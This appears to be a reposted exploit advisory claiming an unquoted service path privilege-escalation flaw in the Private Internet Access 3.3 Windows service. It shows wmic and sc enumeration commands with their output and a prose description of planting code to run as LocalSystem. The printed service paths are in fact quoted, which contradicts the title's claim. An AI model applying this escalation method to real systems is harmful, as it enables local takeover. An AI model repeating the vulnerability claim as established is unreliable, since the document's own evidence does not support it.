Private internet access 3.3 piaservice unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-03-07 | Type : local | Platform : windows


[+] Code ...

# Exploit Title: Private Internet Access 3.3 - 'pia-service' Unquoted Service Path
# Date: 04/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.privateinternetaccess.com
# Software Link: https://www.privateinternetaccess.com/download
# Version: 3.3.0.100
# Tested: Windows 10 x64
# Contact: https://twitter.com/dmaral3noz

# Step to discover Unquoted Service Path:

C:\Users\saudh>wmic service where 'name like "%PrivateInternetAccessService%"' get name, displayname, pathname, startmode, startname

DisplayName Name PathName StartMode StartName
Private Internet Access Service PrivateInternetAccessService "C:\Program Files\Private Internet Access\pia-service.exe" Auto LocalSystem

# Service info:

C:\Users\saudh>sc qc PrivateInternetAccessService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: PrivateInternetAccessService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\Private Internet Access\pia-service.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Private Internet Access Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem


#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.